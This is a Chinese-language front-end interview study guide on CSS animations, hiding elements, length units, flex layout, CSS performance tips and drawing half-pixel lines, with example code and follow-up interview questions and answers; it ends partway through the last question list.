常见的动画效果有很多,如平移、旋转、缩放等等,复杂动画则是多个简单动画的组合

css实现动画的方式,有如下几种:

  • transition 实现渐变动画
  • transform 转变动画
  • animation 实现自定义动画

1. transition 实现渐变动画

transition的属性如下:

  • transition-property:填写需要变化的css属性
  • transition-duration:完成过渡效果需要的时间单位(s或者ms)默认是 0
  • transition-timing-function:完成效果的速度曲线
  • transition-delay: (规定过渡效果何时开始。默认是0)

一般情况下,我们都是写一起的,比如:transition: width 2s ease 1s

其中timing-function的值有如下:

值 描述
linear 匀速(等于 cubic-bezier(0,0,1,1))
ease 从慢到快再到慢(cubic-bezier(0.25,0.1,0.25,1))
ease-in 慢慢变快(等于 cubic-bezier(0.42,0,1,1))
ease-out 慢慢变慢(等于 cubic-bezier(0,0,0.58,1))
ease-in-out 先变快再到慢(等于 cubic-bezier(0.42,0,0.58,1)),渐显渐隐效果
cubic-bezier(*n*,*n*,*n*,*n*) 在 cubic-bezier 函数中定义自己的值。可能的值是 0 至 1 之间的数值

注意:并不是所有的属性都能使用过渡的,如display:none<->display:block

举个例子,实现鼠标移动上去发生变化动画效果

<style>
  .base {
    width: 100px;
    height: 100px;
    display: inline-block;
    background-color: #0EA9FF;
    border-width: 5px;
    border-style: solid;
    border-color: #5daf34;
    transition-property: width, height, background-color, border-width;
    transition-duration: 2s;
    transition-timing-function: ease-in;
    transition-delay: 500ms;
  }

  /*简写*/
  /*transition: all 2s ease-in 500ms;*/
  .base:hover {
    width: 200px;
    height: 200px;
    background-color: #5daf34;
    border-width: 10px;
    border-color: #3a8ee6;
  }
</style>
<div class="base"></div>

2. transform 转变动画

包含四个常用的功能:

  • translate(x,y):位移
  • scale:缩放
  • rotate:旋转
  • skew:倾斜

一般配合transition过度使用

注意的是,transform不支持inline元素,使用前把它变成block

举个例子

<style>
.base {
  width: 100px;
  height: 100px;
  display: inline-block;
  background-color: #0EA9FF;
  border-width: 5px;
  border-style: solid;
  border-color: #5daf34;
  transition-property: width, height, background-color, border-width;
  transition-duration: 2s;
  transition-timing-function: ease-in;
  transition-delay: 500ms;
}
.base2 {
  transform: none;
  transition-property: transform;
  transition-delay: 5ms;
}
.base2:hover {
  transform: scale(0.8, 1.5) rotate(35deg) skew(5deg) translate(15px, 25px);
}
</style>
<div class="base base2"></div>

可以看到盒子发生了旋转,倾斜,平移,放大

3. animation 实现自定义动画

一个关键帧动画,最少包含两部分,animation 属性及属性值(动画的名称和运行方式运行时间等)@keyframes(规定动画的具体实现过程)

animation是由 8 个属性的简写,分别如下:

属性 描述 属性值
animation-duration 指定动画完成一个周期所需要时间,单位秒(s)或毫秒(ms),默认是 0
animation-timing-function 指定动画计时函数,即动画的速度曲线,默认是 "ease" linear、ease、ease-in、ease-out、ease-in-out
animation-delay 指定动画延迟时间,即动画何时开始,默认是 0
animation-iteration-count 指定动画播放的次数,默认是 1。但我们一般用infinite,一直播放
animation-direction 指定动画播放的方向 默认是 normal normal、reverse、alternate、alternate-reverse
animation-fill-mode 指定动画填充模式。默认是 none forwards、backwards、both
animation-play-state 指定动画播放状态,正在运行或暂停。默认是 running running、pauser
animation-name 指定 @keyframes 动画的名称

CSS 动画只需要定义一些关键的帧,而其余的帧,浏览器会根据计时函数插值计算出来,

@keyframes定义关键帧,可以是from->to(等同于0%和100%),也可以是从0%->100%之间任意个的分层设置

因此,如果我们想要让元素旋转一圈,只需要定义开始和结束两帧即可:

@keyframes rotate{
  from {
    transform: rotate(0deg);
  }
  to {
    transform: rotate(360deg);
  }
}

from 表示最开始的那一帧,to 表示结束时的那一帧

也可以使用百分比刻画生命周期

@keyframes rotate{
  0%{
    transform: rotate(0deg);
  }
  50%{
    transform: rotate(180deg);
  }
  100%{
    transform: rotate(360deg);
  }
}

定义好了关键帧后,下来就可以直接用它了:

animation: rotate 2s;

总结

属性 含义
transition(过度) 用于设置元素的样式过度,和animation有着类似的效果,但细节上有很大的不同
transform(变形) 用于元素进行旋转、缩放、移动或倾斜,和设置样式的动画并没有什么关系,就相当于color一样用来设置元素的“外表”
translate(移动) 只是transform的一个属性值,即移动
animation(动画) 用于设置动画属性,他是一个简写的属性,包含6个属性

4. 用css3动画使一个图片旋转

#loader {
  display: block;
  position: relative;
  animation: spin 2s linear infinite;
}

@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

💬 面试官追问

  • 弹窗关闭时从 display: block 切到 display: none,开发写了 transition: all .3s,结果仍然瞬间消失;你会怎样解释并改造这段交互?

    display 的两个状态不能形成可插值的过渡,因此增加 transition 时长也不会产生动画。应先过渡 opacity 或 transform,结束后再切换 display;关闭期间还要控制交互,避免透明元素继续接收点击。

  • 一个列表有 200 个可悬停卡片,只要求卡片轻微缩放,代码却写了 transition: all 2s ease-in 500ms;你会怎样收紧声明?

    应把过渡属性限定为 transform,例如 transition: transform .2s ease-out,避免无关样式变化也被纳入动画。延迟和两秒时长会让反馈显得滞后,具体数值应按交互目标调整;若还需颜色变化,再明确追加对应属性。

  • 设计要求进度节点在 0%、50%、100% 呈现三个明确状态,并在页面加载后自动播放;为什么两态 transition 不够,你会怎么写?

    这里需要多个生命周期节点且无需额外交互触发,更适合 animation 与 @keyframes。在关键帧中分别定义三个百分比状态,再通过 animation-name、持续时间和计时函数控制播放;若只写起止帧,中间状态只能由浏览器插值。

  • 加载图标配置了 animation: spin 2s linear infinite 却完全不转,样式面板能看到该声明;你会按什么顺序定位?

    先确认存在同名 @keyframes spin,并检查起止帧是否分别设置了不同的 transform: rotate(...)。再看元素是否被其他规则覆盖了 animation-name、时长或 transform;持续时间若为默认 0s,动画即使匹配也不会形成可见过程。

  • 产品要求卡片先等待 500ms,再放大并旋转,结束后保持最终样式;你会选择哪些 animation 子属性,代价是什么?

    可设置 animation-delay: 500ms,在关键帧中组合 scale() 与 rotate(),并用 animation-fill-mode: forwards 保留结束帧。这样最终视觉状态来自动画填充而非基础样式;后续若切换类名或复用组件,需注意填充状态与真实样式可能不一致。

  • 同一个元素既要 translate 又要 rotate,两个团队分别在不同类中写完整的 transform,结果其中一个效果丢了;你会怎样处理?

    translate 和 rotate 都是 transform 的函数值,后命中的完整声明会覆盖前一条,而不会自动合并。应在同一条 transform 中按需要组合多个函数,或拆到嵌套元素分别承担;组合时还要验证函数顺序,因为不同顺序可能产生不同结果。

# 有哪些方式(CSS)可以隐藏页面元素

⚡ 30 秒速记

  • display: none:不占布局、通常不进入可访问树,也不会响应事件
  • visibility: hidden:保留布局位置,但不可见且不能交互
  • opacity: 0:仍占位、仍可能接收点击和焦点,常要配合 pointer-events 与可访问性处理
  • 移出屏幕或视觉裁剪适合“仅屏幕阅读器可见”,不能用普通隐藏方案替代

常见隐藏方式是 display: none、visibility: hidden 和 opacity: 0,区别在于是否占位以及能否交互。 display: none 会让元素退出渲染树,不再占据布局空间,子孙节点也无法单独恢复显示。visibility: hidden 仍然占位且不能交互,子节点可以通过 visibility: visible 重新显示;opacity: 0 只是完全透明,仍占空间并可交互。若只想裁掉超出容器的内容,应使用 overflow: hidden,它并不是完整隐藏元素。

  • opacity:0:本质上是将元素的透明度将为0,就看起来隐藏了,但是依然占据空间且可以交互
  • display:none: 这个是彻底隐藏了元素,元素从文档流中消失,既不占据空间也不交互,也不影响布局
  • visibility:hidden: 与上一个方法类似的效果,占据空间,但是不可以交互了
  • overflow:hidden: 这个只隐藏元素溢出的部分,但是占据空间且不可交互
  • z-index:-9999: 原理是将层级放到底部,这样就被覆盖了,看起来隐藏了
  • transform:scale(0,0): 平面变换,将元素缩放为0,但是依然占据空间,但不可交互

display: none 与 visibility: hidden 的区别

  • 修改常规流中元素的display通常会造成文档重排。修改visibility属性只会造成本元素的重绘
  • 读屏器不会读取display:none;元素内容;会读取visibility:hidden;元素内容
  • display:none;会让元素完全从渲染树中消失,渲染的时候不占据任何空间;visibility:hidden;不会让元素从渲染树消失,渲染时元素继续占据空间,只是内容不可见
  • display:none;是非继承属性,子孙节点消失由于元素从渲染树消失造成,通过修改子孙节点属性无法显示;visibility:hidden;是继承属性,子孙节点消失由于继承了hidden,通过设置visibility:visible;可以让子孙节点显式

💬 面试官追问

  • 权限不足的“删除”按钮写成 opacity: 0 后看不见了,但用户按 Tab 仍能聚焦并触发;为什么会这样,应该换成什么策略?

    opacity: 0 只把透明度降为零,元素仍占空间并可交互,因此不能作为权限控制手段。若页面中不应存在该操作,可用 display: none 移出渲染布局,并在业务层同步阻止渲染;仅靠 CSS 仍不能替代真正的权限校验。

  • 表格筛选区折叠后,产品要求下方内容立即上移;开发用了 visibility: hidden,页面却留下一大片空白,你会怎样修改?

    visibility: hidden 隐藏内容但保留原有布局空间,所以后续内容不会上移。应使用 display: none 让元素从渲染树和文档流中消失;若还需要收起动画,则应先处理可过渡属性,动画结束后再切换 display。

  • 头像裁剪框固定为 120px × 120px,原图可能是横图或竖图,只允许隐藏超出圆形边界的部分;为什么不该用 display: none,应怎样实现?

    这里要隐藏的是子内容的溢出部分,而不是移除整张图片,因此应在裁剪容器上使用 overflow: hidden 并配合圆角边界。图片本身仍参与显示和布局;若尺寸或定位不合适,overflow 只会裁掉内容,不会自动完成缩放与居中。

  • 线上遮罩层关闭后视觉上已经消失,却仍挡住底层按钮;样式里同时出现 opacity: 0 和较高的 z-index,你会如何确认根因并修复?

    透明元素依然可以命中交互,高层级又使它覆盖在按钮之上,因此视觉消失不等于真正隐藏。可在关闭态使用 display: none,或至少同步取消交互并调整层叠关系;采用后者时仍会保留元素占位及潜在的焦点风险。

  • 父容器设了 visibility: hidden,但某个子节点又设为 visibility: visible 后重新出现;如果父容器改成 display: none,结果为什么不同?

    visibility 具有继承效果,子节点可以通过显式设置 visible 覆盖继承值并重新显示。display: none 会让整棵子树退出渲染,子节点无法靠修改自己的 display 或 visibility 单独恢复;选择前要明确是否允许局部例外。

  • 有人提议用 z-index: -9999 隐藏全局浮层,另一个人坚持切换 display;在一个层叠上下文复杂的后台系统里,你支持哪种方案?

    常规显隐应优先切换 display,因为负 z-index 只是把元素压到其他内容后面,并未真正移除或保证不可交互。复杂层叠上下文中覆盖结果更难预测,极端负值也只是经验写法;只有明确需要保留布局和层级关系时才应单独评估。

# 说说em/px/rem/vh/vw区别

⚡ 30 秒速记

  • px 是 CSS 像素,不等于固定的物理像素;它适合边框、图标等需要明确尺寸的场景
  • em 相对当前元素字号,属性不同可能产生层层累积;rem 只相对根元素字号
  • vw / vh 相对视口,移动端地址栏变化时优先了解 dvh、svh、lvh
  • 选型通常是排版用 rem,局部比例用 em,视口铺满用动态视口单位,不必强行统一

px 提供相对明确的尺寸,em 和 rem 跟随字体基准,vw、vh 则直接参照视口。 em 相对当前对象的字体尺寸,因此不同层级可能得到不同结果;rem 只相对根元素 html 的字体尺寸,更方便统一换算。1vw 是视口宽度的 1%,1vh 是视口高度的 1%,适合需要随屏幕等比变化的布局。固定边框或明确尺寸常用 px,整套页面缩放可考虑 rem,满屏区域则更适合视口单位。

  • 传统的项目开发中,我们只会用到px、%、em这几个单位,它可以适用于大部分的项目开发,且拥有比较良好的兼容性
  • 从CSS3开始,浏览器对计量单位的支持又提升到了另外一个境界,新增了rem、vh、vw、vm等一些新的计量单位
  • 利用这些新的单位开发出比较良好的响应式页面,适应多种不同分辨率的终端,包括移动设备等
  • 在css单位中,可以分为长度单位、绝对单位,如下表所指示
CSS单位
相对长度单位 em、ex、ch、rem、vw、vh、vmin、vmax、%
绝对长度单位 cm、mm、in、px、pt、pc

这里我们主要讲述px、em、rem、vh、vw

px

px,表示像素,所谓像素就是呈现在我们显示器上的一个个小点,每个像素点都是大小等同的,所以像素为计量单位被分在了绝对长度单位中

有些人会把px认为是相对长度,原因在于在移动端中存在设备像素比,px实际显示的大小是不确定的

这里之所以认为px为绝对单位,在于px的大小和元素的其他属性无关

em

em是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸(1em = 16px)

为了简化 font-size 的换算,我们需要在css中的 body 选择器中声明font-size= 62.5%,这就使 em 值变为 16px*62.5% = 10px

这样 12px = 1.2em, 10px = 1em, 也就是说只需要将你的原来的px 数值除以 10,然后换上 em作为单位就行了

特点:

  • em 的值并不是固定的
  • em 会继承父级元素的字体大小
  • em 是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸
  • 任意浏览器的默认字体高都是 16px

举个例子

<div class="big">
  我是14px=1.4rem<div class="small">我是12px=1.2rem</div>
</div>

样式为

<style>
    html {font-size: 10px;  } /*  公式16px*62.5%=10px  */  
    .big{font-size: 1.4rem}
    .small{font-size: 1.2rem}
</style>

这时候.big元素的font-size为14px,而.small元素的font-size为12px

rem(常用)

  • 根据屏幕的分辨率动态设置html的文字大小,达到等比缩放的功能
  • 保证html最终算出来的字体大小,不能小于12px
  • 在不同的移动端显示不同的元素比例效果
  • 如果html的font-size:20px的时候,那么此时的1rem = 20px
  • 把设计图的宽度分成多少分之一,根据实际情况
  • rem做盒子的宽度,viewport缩放

head加入常见的meta属性

<meta name="format-detection" content="telephone=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<!--这个是关键-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,minimum-scale=1.0">

把这段代码加入head中的script预先加载

// rem适配用这段代码动态计算html的font-size大小
(function(win) {
    var docEl = win.document.documentElement;
    var timer = '';

    function changeRem() {
      var width = docEl.getBoundingClientRect().width;
      if (width > 750) { // 750是设计稿大小
          width = 750;
      }
      var fontS = width / 10; // 把设备宽度十等分 1rem<=75px
      docEl.style.fontSize = fontS + "px";
    }
    win.addEventListener("resize", function() {
      clearTimeout(timer);
      timer = setTimeout(changeRem, 30);
    }, false);
    win.addEventListener("pageshow", function(e) {
      if (e.persisted) { //清除缓存
        clearTimeout(timer);
        timer = setTimeout(changeRem, 30);
      }
    }, false);
    changeRem();
})(window)
(function flexible (window, document) {
  var docEl = document.documentElement
  var dpr = window.devicePixelRatio || 1

  // adjust body font size
  function setBodyFontSize () {
    if (document.body) {
      document.body.style.fontSize = (12 * dpr) + 'px'
    }
    else {
      document.addEventListener('DOMContentLoaded', setBodyFontSize)
    }
  }
  setBodyFontSize();

  // set 1rem = viewWidth / 10
  function setRemUnit () {
    var rem = docEl.clientWidth / 10
    docEl.style.fontSize = rem + 'px'
  }

  setRemUnit()

  // reset rem unit on page resize
  window.addEventListener('resize', setRemUnit)
  window.addEventListener('pageshow', function (e) {
    if (e.persisted) {
      setRemUnit()
    }
  })

  // detect 0.5px supports
  if (dpr >= 2) {
    var fakeBody = document.createElement('body')
    var testElement = document.createElement('div')
    testElement.style.border = '.5px solid transparent'
    fakeBody.appendChild(testElement)
    docEl.appendChild(fakeBody)
    if (testElement.offsetHeight === 1) {
      docEl.classList.add('hairlines')
    }
    docEl.removeChild(fakeBody)
  }
}(window, document))

vh、vw

vw ,就是根据窗口的宽度,分成100等份,100vw就表示满宽,50vw就表示一半宽。(vw 始终是针对窗口的宽),同理,vh则为窗口的高度

这里的窗口分成几种情况:

  • 在桌面端,指的是浏览器的可视区域
  • 移动端指的就是布局视口

像vw、vh,比较容易混淆的一个单位是%,不过百分比宽泛的讲是相对于父元素:

  • 对于普通定位元素就是我们理解的父元素
  • 对于position: absolute;的元素是相对于已定位的父元素
  • 对于position: fixed;的元素是相对于 ViewPort(可视窗口)

总结

  • px:绝对单位,页面按精确像素展示
  • %:相对于父元素的宽度比例
  • em:相对单位,基准点为父节点字体的大小,如果自身定义了font-size按自身来计算(浏览器默认字体是16px),整个页面内1em不是一个固定的值
  • rem:相对单位,可理解为root em, 相对根节点html的字体大小来计算
  • vh、vw:主要用于页面视口大小布局,在页面布局上更加方便简单
    • vw:屏幕宽度的1%
    • vh:屏幕高度的1%
    • vmin:取vw和vh中较小的那个(如:10vh=100px 10vw=200px 则vmin=10vh=100px)
    • vmax:取vw和vh中较大的那个(如:10vh=100px 10vw=200px 则vmax=10vw=200px)

💬 面试官追问

  • 组件库把按钮内边距写成 1em,页面把按钮字号从 14px 改到 20px 后按钮也明显变大;这是缺陷还是预期,你会如何判断?

    这是 em 相对当前元素字体尺寸计算的预期结果,字号变化会连带影响以 em 表示的间距。若希望按钮随文字同比缩放可保留;若间距必须稳定,则应换成不依赖该元素字体的单位,但会失去整体缩放的一致性。

  • 全站标题、正文和间距都使用 rem,无障碍设置把根元素 font-size 调大后整个页面同比放大;这种行为有什么价值,又可能暴露什么问题?

    rem 统一相对根节点 html 的字体大小,调整根字号即可联动全站尺寸,有利于一致缩放。代价是固定容器、长文本和第三方组件可能随之拥挤或溢出;必须结合真实内容和放大场景验证,而不能只在默认根字号下验收。

  • 移动端首屏写了 height: 100vh,浏览器工具栏变化时底部按钮偶尔超出可视区域;仅根据这里的单位定义,你会怎样判断风险并给出保守处理?

    vh 以视口高度为基准,移动端对应布局视口,视口环境变化会直接影响计算高度。关键操作不宜只依赖固定的 100vh 容器,可允许内容自然撑开并保留滚动兜底;具体浏览器差异需要在目标设备上验证后再定方案。

  • 设计稿宽度为 750px,团队准备用脚本把视口十等分并令 1rem 等于视口宽度的十分之一;桌面打开时为什么还要设置最大宽度?

    脚本会随视口宽度增大根字号,若不设上限,桌面端的文字和盒子也会持续等比放大。可在计算时把有效宽度限制到设计稿宽度,再设置根 font-size;这种方案依赖脚本和统一换算规则,维护成本高于普通响应式布局。

  • 一个绝对定位提示框写 left: 50%,开发误以为它总是位于屏幕中点;当外层新增已定位容器后位置偏了,你会怎样解释?

    百分比通常相对包含块计算,绝对定位元素会以已定位的祖先作为定位参照,因此 50% 不必然对应视口中点。若需求明确相对可视窗口,可重新选择定位方式或调整包含块;改动前还应检查 position 链,避免只替换单位掩盖根因。

  • 大屏看板的圆形状态灯要始终取视口短边的 10%,横屏和竖屏都不能被拉成长椭圆;你会选 vw、vh 还是 vmin?

    应优先使用 vmin,它取 vw 与 vh 中较小的值,横竖屏切换时都以视口短边为基准。宽高使用同一 vmin 值可保持正方形外框,再配合圆角得到圆形;极端小视口下仍可能需要设置可接受的尺寸边界。

# flex布局

⚡ 30 秒速记

  • 先认两根轴:flex-direction 决定主轴,交叉轴随之变化
  • 父项控制整体排列:justify-content 管主轴,align-items 管交叉轴,flex-wrap 管换行
  • 子项用 flex-grow、flex-shrink、flex-basis 决定剩余空间如何分配
  • 易错点:子项默认 min-width: auto,长内容撑破布局时常需补 min-width: 0

Flex 布局由容器确定排列方向、对齐和换行,再由子项的伸缩属性分配主轴空间。 常用的 flex: 1 包含 flex-grow: 1、flex-shrink: 1 和 flex-basis: 0%,表示有剩余空间时放大、空间不足时缩小。flex-basis 决定分配空间前的基础尺寸,默认值 auto 会参考项目本身大小,而 0% 更便于按伸缩比例分配。做两栏布局时,我会重点检查自适应区域的 flex-basis,避免基础尺寸影响最终宽度。

很多时候我们会用到 flex: 1 ,它具体包含了以下的意思

  • flex-grow: 1 :该属性默认为 0 ,如果存在剩余空间,元素也不放大。设置为 1  代表会放大。
  • flex-shrink: 1 :该属性默认为 `1 ,如果空间不足,元素缩小。
  • flex-basis: 0% :该属性定义在分配多余空间之前,元素占据的主轴空间。浏览器就是根据这个属性来计算是否有多余空间的。默认值为 auto ,即项目本身大小。设置为 0%  之后,因为有 flex-grow  和 flex-shrink 的设置会自动放大或缩小。在做两栏布局时,如果右边的自适应元素 flex-basis  设为auto  的话,其本身大小将会是 0

💬 面试官追问

  • 左右两栏都写了 flex: 1,左栏内容宽 100px、右栏内容宽 400px,容器还有剩余空间;为什么两栏仍可能按相同比例分配,而不是按内容宽度分配?

    flex: 1 通常展开为 flex-grow: 1、flex-shrink: 1 和 flex-basis: 0%,分配前的主轴基准被设为零。两项因此从相同基准参与剩余空间分配;若希望保留内容尺寸影响,应使用合适的 flex-basis,但结果会更依赖内容。

  • 后台侧栏固定 240px,主内容吃掉剩余宽度;你会怎样设置两个 Flex 项,避免侧栏也跟着缩小?

    侧栏应使用明确的主轴基准并禁止收缩,主内容则设置 flex: 1 接收剩余空间。关键是侧栏的 flex-shrink 不应继续采用默认的 1;当容器窄到无法容纳两栏时,仍需另定换行、溢出或切换布局策略。

  • 三个统计卡片都写 flex-grow: 1,但各自 flex-basis: auto 且标题长度差异很大,结果宽度不相等;你会如何调整?

    flex-basis: auto 会让项目自身尺寸参与剩余空间计算,长标题卡片的初始基准可能更大。若目标是等分容器,可将基准统一为 0% 并让各项以相同的 flex-grow 分配;内容过长时仍要额外处理换行或溢出。

  • 两栏容器宽度突然从 900px 缩到 500px,两个子项都配置了 flex-shrink: 1,但其中一个视觉上缩得更多;这一定是浏览器错误吗?

    不一定,flex-shrink 表示空间不足时参与收缩,但最终收缩还与各项的主轴基准有关,并非简单各减相同像素。应检查每项的 flex-basis、自身尺寸和内容约束;若某栏不能缩小,应明确调整其收缩能力并设计窄屏退路。

  • 线上主内容区域看似写了 flex: 1,却没有填满右侧剩余空间;你打开样式面板后会优先核对哪几个值?

    先确认父元素确实建立了 Flex 布局,再看该项最终生效的 flex-grow、flex-shrink 与 flex-basis 是否被其他简写覆盖。还要确认主轴方向和容器是否真的存在可分配空间;没有剩余空间时,flex-grow: 1 也不会凭空扩大。

  • 团队争论主内容该用 flex: 1 还是 flex: auto:前者要求两栏更偏向等分,后者希望保留内容固有宽度;你会如何做选型?

    希望忽略项目原始主轴尺寸、按增长系数分配时,可选基准为 0% 的 flex: 1。希望项目自身大小先参与计算时,应保留 flex-basis: auto 的语义;内容差异会影响最终宽度,因此选型取决于等分优先还是内容优先。

# 如果要做优化,CSS提高性能的方法有哪些?

⚡ 30 秒速记

  • 删除未使用样式并按路由拆分,减少首屏 CSS 体积;关键样式可内联,其余延后加载
  • 避免过深选择器和大范围样式失效,组件边界清晰比纠结单个选择器速度更有效
  • 动画尽量只改 transform / opacity,批量读写布局,避免强制同步布局和频繁回流
  • 用 content-visibility、虚拟列表等跳过长页面不可见区域的渲染,但要处理占位尺寸

CSS 优化主要抓加载体积、加载时机和渲染成本,通常比单独纠结某个属性更有效。 首屏关键 CSS 可以内联,让浏览器拿到 HTML 后尽快渲染,但大段样式不适合内联,否则无法利用缓存,其余样式可异步加载。构建阶段应压缩文件,避免 @import 带来的串行解析,并控制选择器嵌套深度。运行阶段则少用高成本绘制属性、减少重排重绘,动画优先使用 transform 和 opacity,不要频繁修改 left、top。

实现方式有很多种,主要有如下:

  • 内联首屏关键CSS
    • 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联css关键代码能够使浏览器在下载完html后就能立刻渲染
    • 而如果外部引用css代码,在解析html结构过程中遇到外部css文件,才会开始下载css代码,再渲染
    • 所以,CSS内联使用使渲染时间提前
    • 注意:但是较大的css代码并不合适内联(初始拥塞窗口、没有缓存),而其余代码则采取外部引用方式
  • 异步加载CSS
    • 在CSS文件请求、下载、解析完成之前,CSS会阻塞渲染,浏览器将不会渲染任何已处理的内容
    • 前面加载内联代码后,后面的外部引用css则没必要阻塞浏览器渲染。这时候就可以采取异步加载的方案,主要有如下:
      • 使用javascript将link标签插到head标签最后
      // 创建link标签
      const myCSS = document.createElement( "link" );
      myCSS.rel = "stylesheet";
      myCSS.href = "mystyles.css";
      // 插入到header的最后位置
      document.head.insertBefore( myCSS, document.head.childNodes[ document.head.childNodes.length - 1 ].nextSibling )
      
      • 设置link标签media属性为noexis,浏览器会认为当前样式表不适用当前类型,会在不阻塞页面渲染的情况下再进行下载。加载完成后,将media的值设为screen或all,从而让浏览器开始解析CSS
      <link rel="stylesheet" href="mystyles.css" media="noexist" onload="this.media='all'">
      
      • 通过rel属性将link元素标记为alternate可选样式表,也能实现浏览器异步加载。同样别忘了加载完成之后,将rel设回stylesheet
      <link rel="alternate stylesheet" href="mystyles.css" onload="this.rel='stylesheet'">
      
  • 资源压缩
    • 利用webpack、gulp/grunt、rollup等模块化工具,将css代码进行压缩,使文件变小,大大降低了浏览器的加载时间
  • 合理使用选择器
    • css匹配的规则是从右往左开始匹配,例如#markdown .content h3匹配规则如下:
      • 先找到h3标签元素
      • 然后去除祖先不是.content的元素
      • 最后去除祖先不是#markdown的元素
    • 如果嵌套的层级更多,页面中的元素更多,那么匹配所要花费的时间代价自然更高
    • 所以我们在编写选择器的时候,可以遵循以下规则:
      • 不要嵌套使用过多复杂选择器,最好不要三层以上
      • 使用id选择器就没必要再进行嵌套
      • 通配符和属性选择器效率最低,避免使用
  • 减少使用昂贵的属性
    • 在页面发生重绘的时候,昂贵属性如box-shadow/border-radius/filter/透明度/:nth-child等,会降低浏览器的渲染性能
  • 不要使用@import
    • css样式文件有两种引入方式,一种是link元素,另一种是@import
    • @import会影响浏览器的并行下载,使得页面在加载时增加额外的延迟,增添了额外的往返耗时
    • 而且多个@import可能会导致下载顺序紊乱
    • 比如一个css文件index.css包含了以下内容:@import url("reset.css")
    • 那么浏览器就必须先把index.css下载、解析和执行后,才下载、解析和执行第二个文件reset.css
  • 其他
    • 减少重排操作,以及减少不必要的重绘
    • 了解哪些属性可以继承而来,避免对这些属性重复编写
    • css Sprite,合成所有icon图片,用宽高加上backgroud-position的背景图方式显现出我们要的icon图,减少了http请求
    • 把小的icon图片转成base64编码
    • CSS3动画或者过渡尽量使用transform和opacity来实现动画,不要使用left和top属性

💬 面试官追问

  • 新闻详情页把全部 CSS 内联后,首屏似乎更早出现,但重复访问时下载量仍然很大;前端负责人主张继续内联所有样式,你会怎么判断?

    只应内联首屏渲染必需的关键 CSS,其余样式仍通过外部文件加载。大段内联内容会增大 HTML,还无法独立复用缓存;需要结合首屏范围拆分,而不是把“内联更快”推广到整份样式。

  • 电商首页的非首屏组件样式有几百个规则,产品要求先展示首屏、稍后再启用这些样式,你会怎样安排加载?

    先内联首屏关键样式,再让非关键样式以不阻塞首屏渲染的方式加载,例如动态插入 link,或先设置不匹配的 media,加载完成后改为 all。异步样式启用前可能出现局部无样式状态,因此必须保证首屏依赖没有被误拆出去。

  • 组件库原来通过多层 @import 组织样式,拆包后线上瀑布图显示后续文件要等入口样式解析完才请求;架构师想保留这种写法,你会如何取舍?

    生产构建中应避免依赖多层 @import,改用 link 或构建工具合并、压缩所需样式。@import 会让被引入文件在上层文件下载并解析后才被发现,增加额外等待;保留源码组织方式时,也应在构建阶段消除这条请求链。

  • 一个长列表滚动时明显掉帧,样式中大量使用 box-shadow、filter、透明度和深层选择器;你会按什么顺序定位?

    先用性能工具区分时间消耗在样式计算、重排还是重绘,再逐项禁用昂贵属性和复杂选择器做对照。选择器匹配从右向左,深层嵌套会扩大筛选成本;若瓶颈来自频繁布局变化,还要减少重排,不能只靠压缩文件解决。

  • 活动页有大量小图标,设计师建议全部转成 base64,另一位同事坚持使用 CSS Sprite;在请求数和缓存之间你会怎么选?

    数量多且适合统一维护的图标可用 CSS Sprite 合并请求,再通过尺寸和 background-position 定位;很小且无需独立缓存的图标才适合内嵌为 base64。base64 会进入样式文件并增加其体积,更新单个图标也会影响整份资源缓存。

  • 抽屉动画使用 left 每帧移动,低端设备上伴随内容抖动;交互同学认为加快持续时间就够了,你会怎样修改并验证?

    应优先改为 transform 实现位移,并将透明变化交给 opacity,避免持续修改容易触发布局或重绘的属性。验证时关注动画期间的重排和重绘记录;阴影、滤镜等昂贵效果仍可能成为瓶颈,改用 transform 并不保证所有场景都流畅。

# 画一条 0.5px 的线

⚡ 30 秒速记

  • CSS 像素可映射到多个设备像素,高 DPR 屏幕上可以呈现视觉上的半像素细线
  • 常用方案是画 1px 伪元素后用 transform: scaleY(0.5),并校准变换原点
  • 也可用渐变控制一个设备感知细线;最终效果要在不同 DPR 和缩放级别实测

画 0.5px 细线通常可以用视口缩放、border-image,或者先画标准边框再通过 transform: scale() 缩小。 meta viewport 方案依赖页面的视口配置,例如设置 initial-scale=1.0,因此会影响整体页面,不能只把它当作局部样式。局部组件中我一般更倾向 border-image 或 transform,因为作用范围更明确,但仍要结合实际设备检查显示效果。

  • 采用 meta viewport 的方式 <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
  • 采用 border-image 的方式
  • 采用 transform: scale() 的方式

💬 面试官追问

  • 移动端订单页直接写 border-bottom: 0.5px solid #ddd,部分设备看起来仍像 1px,设计师认为 CSS 数值已经正确;你会怎么解释并处理?

    声明为 0.5px 不代表所有显示环境都能稳定呈现半个物理像素,实际效果受像素密度和渲染取整影响。可改用伪元素绘制 1px 线后通过 transform: scale() 缩放,并在目标设备上核对清晰度;低密度环境仍可能无法得到理想细线。

  • 支付结果页只需要一条横向发丝线,容器宽度会随屏幕变化;用 transform: scale(0.5) 后线宽也缩成了一半,你会怎样调整?

    不要把承载布局宽度的真实边框元素整体缩放,可让伪元素保持所需宽度,只在垂直方向使用 scaleY(0.5)。同时设置合适的变换原点并预留定位空间;若直接二维缩放,横向长度和定位也会一起改变。

  • 旧活动页通过修改 meta viewport 获得细线,但接入统一移动端壳后,页面缩放和可访问性策略发生冲突;你会保留这种方案吗?

    不应仅为一条细线改动全局 viewport,因为它会同时影响页面缩放、布局尺度和用户交互。更局部的 border-image 或伪元素加 transform 更容易控制;若壳层已统一声明 viewport,页面组件应遵守该约束。

  • 列表分隔线在某些行清晰、某些行发虚,滚动后清晰度还会变化;代码使用绝对定位伪元素和 scaleY(0.5),你会查哪些位置?

    先检查伪元素最终坐标、父级变换以及缩放原点,确认线没有落在不稳定的子像素位置。再对比移除父级 transform、调整定位后的渲染结果;发丝线依赖设备栅格,无法仅凭开发机截图断定实现正确。

  • 组件库需要同时支持纯色、渐变和图片纹理分隔线,团队在 border-image 与 transform 方案间争论,你会怎么定接口?

